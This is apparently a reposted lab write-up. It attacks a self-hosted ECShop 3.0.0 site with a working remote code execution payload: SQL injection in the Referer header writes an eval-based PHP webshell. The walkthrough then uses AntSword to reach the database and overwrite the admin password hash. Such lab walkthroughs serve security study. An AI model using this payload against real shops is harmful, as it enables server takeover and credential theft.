kali-钓鱼网站远程代码漏洞分析

发布时间:2023年12月21日


实验环境

Kali

CentOs

一、靶场搭建

CentOsIP地址192.168.64.159

#关闭centos防火墙
[root@localhost ~]# systemctl disable --now firewalld

#关闭  selinux
[root@localhost ~]#  sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config

#重启
[root@localhost ~]#reboot

注:sed 命令是将/etc/selinux/config 文件中的 SELINUX=enforcing 替换成SELINUX=disabled。

修改完需要重启,才能生效

安装 LAMP 环境

[root@localhost ~]# yum -y install httpd mariadb-server mariadb php php-mysql php-gd php-mbstring

修改配置文件httpd.conf

[root@localhost ~]# vim /etc/httpd/conf/httpd.conf
改:95  #ServerName www.example.com:80
新:95:ServerName loaclhost:80
改:164     DirectoryIndex index.html
新:164     DirectoryIndex index.html index.php

wq保存退出

#启动httpd服务
[root@localhost ~]# systemctl enable httpd --now
Created symlink from /etc/systemd/system/multi-user.target.wants/httpd.service to /usr/lib/systemd/system/httpd.service.
#启动mariadb服务
[root@localhost ~]# systemctl enable mariadb --now
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
#设置数据库账号密码
[root@localhost ~]# mysqladmin -u root password  
New password: qwe@@@123456789AAAAAAAAA
Confirm new password: qwe@@@123456789AAAAAAAAA

上传 ecshop 到 linux 主机并解压到网站目录下

#上传
[root@localhost ~]# rz -bey

#解压
[root@localhost ~]# unzip ecshop.zip

#移动
[root@localhost ~]# mv ecshop/* /var/www/html

#给apache用户分配网站的只读权限
[root@localhost ~]# chown -R apache:apache /var/www/html/

Kali 中修改 hosts 文件,加入如下记录

192.168.64.159 www.jd.com.abcgood123.com

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/install/index.php

在这里插入图片描述

一直同意,下一步,直到配置系统界面

使用之前配置的数据库账户:root 密码是:qwe@@@123456789AAAAAAAAA

配置一个网站管理员账户:admin 密码是: qwer123456
在这里插入图片描述

安装完成后,前往后台管理中心,输入网站管理员用户名,密码,配置一些基本信息

在这里插入图片描述

系统设置-支付方式-银行汇款/转帐-编辑

在这里插入图片描述

系统设置-配送方式-顺丰速运-安装-设置区域-新建配送区域

在这里插入图片描述

删除没有用的的文件:

[root@xuegod63 html]# cd /var/www/html/
[root@xuegod63 html]# mv install/ /opt/
[root@xuegod63 html]# mv demo/ /opt/

二、开始信息收集,寻找漏洞

kali修改host文件

┌──(root?kali)-[~]
└─#  vim   /etc/hosts

在这里插入图片描述

访问网站,注册账号

在这里插入图片描述

打开网站首页,在网页源代码中可以获取到网站框架

在这里插入图片描述

whatweb命令可以看到服务器类型,php版本等信息

┌──(root?kali)-[~]
└─# whatweb http://www.jd.com.abcgood123.com/
http://www.jd.com.abcgood123.com/ [200 OK] Apache[2.4.6], Cookies[ECS[visit_times],ECS_ID], Country[RESERVED][ZZ], ECShop[3.0.0], HTTPServer[CentOS][Apache/2.4.6 (CentOS) PHP/5.4.16], IP[192.168.64.159], JQuery[1.11.3], MetaGenerator[ECSHOP v3.0.0], PHP[5.4.16], PoweredBy[ECShop], Script[text/javascript], Title[ECSHOP演示站 - Powered by ECShop], X-Powered-By[PHP/5.4.16] 

漏洞可以使用搜索引擎进行搜索

三、使用蚁剑连接后门程序

利用 payload 写入一句话并使用蚁剑连接上传 webshell

curl http://www.jd.com.abcgood123.com/user.php \
-d "action=login&vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;" \
-H 'Referer: 45ea207d7a2b68c49582d2d22adf953aads|a:3:{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}45ea207d7a2b68c49582d2d22adf953a'

这段代码是一个使用cURL工具向目标网站发送POST请求的示例。cURL是一个用于传输数据的命令行工具,支持多种协议,如HTTP、FTP等。

这段代码的主要功能是向网站发送一个POST请求,并传递两个参数:action和vulnspy。

  • “action=login”:设置action参数为login,这个参数可能是用来标识用户想要执行的操作。
  • “vulnspy=eval/**/(base64_decode(ZmlsZV9wdXRfY29udGVudHMoJ3Z1bG5zcHkucGhwJywnPD9waHAgZXZhbCgkX1JFUVVFU1RbdnVsbnNweV0pOycpOw));exit;”:
  • 括号里面的是经过base64解码的 file_put_contents('vulnspy.php','<?php eval($_REQUEST[vulnspy]);'); 语句,使用file_put_contents函数将一段PHP代码写入名为vulnspy.php的文件中。这段代码包含一个PHP代码块,这个代码块会在运行时执行传入的vulnspy变量。
  • eval($_REQUEST[vulnspy]);:这是一个PHP函数,用于执行传入的PHP代码。在这个例子中,vulnspy是一个变量,它的值应该是一段PHP代码。当这段代码被执行时,它会执行vulnspy变量中的PHP代码。
  • Referer字段中携带了sql注入。

使用 rz 命令上传AntSword-Loader-v4.0.3-linux-x64.zip、antSword- master.zip 和 webshell2.php到Kali

┌──(root?kali)-[~]
└─# rz -bey
┌──(root?kali)-[~]
└─# unzip AntSword-Loader-v4.0.3-linux-x64.zip
┌──(root?kali)-[~]
└─# unzip antSword-master.zip

启动蚁剑加载器

┌──(root?kali)-[~]
└─# cd AntSword-Loader-v4.0.3-linux-x64 
                                                                                                           
┌──(root?kali)-[~/AntSword-Loader-v4.0.3-linux-x64]
└─# ./AntSword   

首次打开加载器时,界面如下图所示:

在这里插入图片描述

点击「初始化」按钮,进入到antSword-master文件夹中,点击右下方OK

在这里插入图片描述

重新打开蚁剑加载器,即可看到蚁剑的主界面。在空白处单击鼠标右键,点击 添加数据

URL 地址:http://www.jd.com.abcgood123.com/vulnspy.php

连接密码:vulnspy

点击添加

在这里插入图片描述

双击点开我们添加的地址进入到网站目录中,上传功能更强大的木马文件 webshell2.php 到 temp 目录下

在这里插入图片描述

浏览器打开http://www.jd.com.abcgood123.com/temp/webshell2.php进入到webshell窗口

在这里插入图片描述

四、使用webshell查看数据库信息

在这里插入图片描述

找到config.php 然后点右边的edit 打开文件

在这里插入图片描述

可以看到数据库信息

在这里插入图片描述

连接数据库

在这里插入图片描述

找到admin_user数据库

在这里插入图片描述

可以看到靶场的管理员信息

在这里插入图片描述

密码使用了md5加密,Salt就是盐,盐就是一个随机生成的字符串。简而言之,加盐是为了增加密码的安全性。密码使用了MD5加密,而盐则是一个随机生成的字符串。在密码存储时,系统将盐与原始密码连接在一起,然后对连接后的字符串进行加密。由于盐是系统随机生成的且每个用户的盐不同,即使两个用户使用相同的密码,其散列值也是不同的。这样做可以防止黑客通过散列值字典等方式破解密码。

具体操作上,用户在首次提供密码(通常是注册时),系统会自动添加一些盐,然后进行散列。当用户登录时,系统会为用户提供的密码添加相同的盐,再进行散列,最后比较散列值以确定密码是否正确。这种方式提高了密码的安全性,因为即使攻击者获得了一个用户的散列值,由于盐的存在,无法直接在字典中查找对应的密码。

记录下来pwd和salt

pwd:5ac84bb56649b2eac8e0f56d0afe5152 
salt:9044

可以利用自己生成的散列值来替换原本密码的散列值

┌──(root?kali)-[~]
└─# echo -n 123456|md5sum
e10adc3949ba59abbe56e057f20f883e  -
#利用php语言输出加盐后的散列值
[root@xuegod63 ~]# php -r 'echo md5("e10adc3949ba59abbe56e057f20f883e"."9044");'
d7cdb1e266cd7e920683b27eaa190fba

回到webshell,SQL语句替换,点击查询

update xo_admin_user  set  password ="d7cdb1e266cd7e920683b27eaa190fba" where user_id =1

在这里插入图片描述

五、进入网站后台

开始扫描 网站后台地址:

┌──(root?kali)-[~]
└─# dirb http://www.jd.com.abcgood123.com -o jd.com.txt 

┌──(root?kali)-[~]
└─# vim jd.com.txt  

在这里插入图片描述

点击第一个,跳转到了后台登录界面,输入数据库获取的用户名admin以及自己设置的密码123456,成功进入后台

在这里插入图片描述

文章来源:https://blog.csdn.net/qq_18931093/article/details/135139865
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。